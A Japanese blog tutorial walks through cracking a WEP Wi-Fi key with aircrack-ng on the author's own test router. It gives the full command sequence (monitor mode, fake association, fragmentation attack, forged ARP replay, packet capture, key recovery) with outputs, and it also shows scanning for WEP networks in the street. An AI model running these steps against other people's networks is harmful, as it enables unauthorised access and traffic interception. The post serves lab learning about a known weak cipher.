FAR EAST GATE

BLACK/WHITE SECURITY

aircrack-ng による WEP 方式アクセスポイントの奪取

Wi-Fi の暗号方式には WEP, WPA, WPA2 等があり、これらの方式はどれも大抵のルーターで利用設定を行うことができます。ただ、このうちの WEP 方式については容易に解読されうる弱い暗号であることが分かっているため、最近のルーターであればこの機能はデフォルト OFF にされているのが普通です。

2003年に Wi-Fi Appliance から WEP 方式は WPA 方式にとって代わられたと発表され、2004年には IEEE からも WEP 方式が非推奨であることが宣言されました。

WEP 方式のアクセスポイントの探索

非推奨とされる WEP の実際の利用状況はどうなっているかというと、実はいまだに使われている状態が散見されます。

前記事「aircrack-ng による端末周辺の Wi-Fi 情報(SSID 等)の取得 - FAR EAST GATE」では端末周辺の Wi-Fi 情報の収集に触れました。実際に市街で
airodump-ng コマンドにより Wi-Fi アクセスポイント情報を収集してみると、WEP 方式のアクセスポイントがときおり観測されます。

f:id:goodmand:20180208171104p:plain:w500

ENC, CIPHER 欄が「WEP」となっている項目が WEP 方式のアクセスポイントです。

WEP がまだ残っているのは、おそらく古いルーター(WPA非対応)を使い続けている人によるものではないかと想像しています。また、初代ニンテンドーDSが WPA に対応していない等、旧機種依存のためにあえて WEP を設定している人もまだ多少はいると思います。


なお、airodump-ng の実行時に「--encrypt WEP」の引数を与えると WEP 方式のアクセスポイントのみに絞って観測を行うことができるため、WEP 方式アクセスポイントのみを探索したい場合にはこの引数を指定すると良いです。以下は実行例です。

# airodump-ng --encrypt WEP wlan0mon

 CH 12 ][ Elapsed: 12 s ][ 2018-xxxx

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C2:xx:xx:xx:xx:3A  -50       31        0    0   5  54e  WEP  WEP         <length: 15>
 A6:xx:xx:xx:xx:86  -62       29        0    0   8  54e  WEP  WEP         <length: 15>

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   AC:xx:xx:xx:xx:71  -67    0 - 1      3        6

WEP 方式のアクセスポイントの奪取

検証用機材の準備

他人のアクセスポイントを奪取するわけにもいかないので、検証用のアクセスポイントを自分で用意します。具体的には以下の機材を用意します。

  • 標的
    • 無線ルーター (WEP)
    • 無線ルータに接続済みのクライアントマシン(スマホ等でも良い)
  • 攻撃者
    • aircrack-ng を実行するマシン(攻撃者)

以下はルータの無線設定画面です。
f:id:goodmand:20180208192712p:plain:w500
暗号化方式を WEP とし、暗号化キーを大小英数と記号の混じった13文字に設定しました。ここまで複雑なキーを総当たりで突破するのは無理でしょう。

無線ネットワークアダプタMAC アドレスの確認

攻撃者マシン側の無線ネットワークアダプタMAC アドレスを確認しておきます。

# ifconfig -a
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether f6:79:84:db:e5:90  txqueuelen 1000  (Ethernet)


この MAC アドレスは後の工程で使うため、Bash 変数に格納しておきます。

# MYMAC=f6:79:84:db:e5:90

モニタモードの開始

モニタモードを開始します。

# airmon-ng check kill
# airmon-ng start wlan0

アクセスポイントの確認

airodump-ng によりアクセスポイントの BSSID(MACアドレス), CH(チャンネル), ESSID(SSID)を確認します。

# airodump-ng --encrypt WEP wlan0mon
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 .................
 34:F1:C5:9A:03:41  -37       10        0    0  11  54e  WEP  WEP         AirPort
 .................


ここで確認した BSSID, CH, ESSID は後の工程で使うので、Bash 変数に保管しておきます。

# BSSID=34:F1:C5:9A:03:41
# CH=11
# ESSID=AirPort

利用チャンネルを明示指定してモニタモードを再起動

# airmon-ng stop wlan0mon
# airmon-ng start wlan0 $CH

アソシエーションの確立

自分(攻撃者)のネットワークアダプタとアクセスポイントの間にアソシエーションを確立します。

# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC wlan0mon
22:21:35  Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11

22:21:35  Sending Authentication Request (Open System) [ACK]
22:21:35  Authentication successful
22:21:35  Sending Association Request [ACK]
22:21:35  Association successful :-) (AID: 1)

WEP Fragmentation attack の実施

aireplay-ng コマンドにより WEP Fragmentation attack を実施します。このとき、アクセスポイントに対して接続している正当なクライアントがいないと処理が進まないことに注意してください。WEP Fragmentation attack は正当なクライアントからの通信パケットを傍受することにより必要な情報を収集します。

# aireplay-ng -5 -b $BSSID -h $MYMAC wlan0mon
20:07:28  Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11
20:07:28  Waiting for a data packet...
Read 3329 packets...

        Size: 70, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  34:F1:C5:9A:03:41 … ルーターのMACアドレス
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  19:05:91:A3:C2:12 … 接続しに来たクライアントのMACアドレス

        0x0000:  0842 0000 0100 5e00 00fb 34f1 c59a 0341  .B....^...4v....
        0x0010:  1905 91a3 c212 f040 c3ab 7500 1c18 6710  d..C...@..u...g.
        0x0020:  .......................................  ................
        0x0030:  .......................................  ................
        0x0040:  bd03 .... 671f                           ..=.g.

Use this packet ? y ←「y」を入力して進める

Saving chosen packet in replay_src-0208-222738.cap
22:27:42  Data packet found!
22:27:42  Sending fragmented packet
....
....(10秒以内程度)
....
22:27:46  Got RELAYED packet!!
Saving keystream in fragment-0208-222746.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

# ls -ltr
-rw-r--r-- 1 root root  112 Feb  8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb  8 22:27 fragment-0208-222746.xor

リレーパケットの受信により .cap ファイルおよび .xor ファイルができあがります。

ARPリクエストファイルの作成

packetforge-ng コマンドによりARPリクエストファイル(arp-request)を作成します。

# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255 \
    -y fragment-*.xor -w arp-request
Wrote packet to: arp-request

# ls -ltr
total 12
-rw-r--r-- 1 root root  112 Feb  8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb  8 22:27 fragment-0208-222746.xor
-rw-r--r-- 1 root root  108 Feb  8 22:31 arp-request

キャプチャ開始

airodump-ng により通信情報をキャプチャします。今回はアクセスポイントのチャンネル番号と BSSID(MAC アドレス)に絞った観測を行い、結果を wepcap-*.cap というファイルに出力します。

# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon
 CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 34:F1:C5:9A:03:41  -39 100       74        0    0  11  54e  WEP  WEP         AirPort

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

この airodump-ng は実行しっぱなしにしておき、「#Data」の数値が溜まるのを待ちます。

ARP リクエス

標的側のクライアントが積極的に通信をしていれば airodump-ng が収集している「#Data」の数値は勝手に増えていきますが、そうでもない場合には ARP リクエストの送信により通信量の増加を促します。

airodump-ng の実行は止めずに別ターミナルで以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)

# aireplay-ng -2 -h $MYMAC -r arp-request wlan0mon

        Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  34:F1:C5:9A:03:41
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  F6:79:84:DB:E5:90

        0x0000:  0841 0201 34f1 c59a 0341 f679 84db e590  .A..4v........@=
        ....
        ....
        0x0040:  3aa5 23dd                                :.#.

Use this packet ?  y ←「y」を入力して進める

ダンプ状況の確認

実行中の airodump-ng の様子を確認します。「#Data」が4万程度まで溜まっていればだいたい十分です。

# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon
 CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 34:F1:C5:9A:03:41  -42   0     6682    46053    1  11  54e  WEP  WEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

WEP キーの解析

airodump-ng, aireplay-ng の実行はそのまま止めず、airorump-ng が出力する wepcap-*.cap というファイルができているかどうか確認してみます。

# ls -ltr
....
....
-rw-r--r-- 1 root root 142892335 Feb  8 23:01 wepcap-01.cap

この .cap ファイルから aircrack-ng コマンドにより WEP キーの解析を行うことができます。

airodump, aireplay-ng とは別でさらに新しいターミナルを開き、以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)

# aircrack-ng -a 1 -b $BSSID wepcap-01.cap

                                   Aircrack-ng 1.2 rc4


                   [00:00:08] Tested 601 keys (got 98109 IVs)

   KB    depth   byte(vote)
    0    0/  1   7A(144640) 85(112640) B1(111104) AD(109824) 30(109312)
    ....
    ....
     KEY FOUND! [ 7A:21:49:69:7A:67:33:31:64:41:66:67:3F ] (ASCII: z!Iizg31dAfg? )
        Decrypted correctly: 100%

成功です。今回冒頭のほうで設定していた WEP キー「z!Iizg31dAfg?」がみごと解析により判明しました。

解析が終わったら、実行中の airodump-ng, aireplay-ng は終了し、airmon-ng stop wlan0mon で後始末をしてください。


手順が長いですが、これらの手順をある程度自動化するツールもありますので、機会があればいつか紹介します。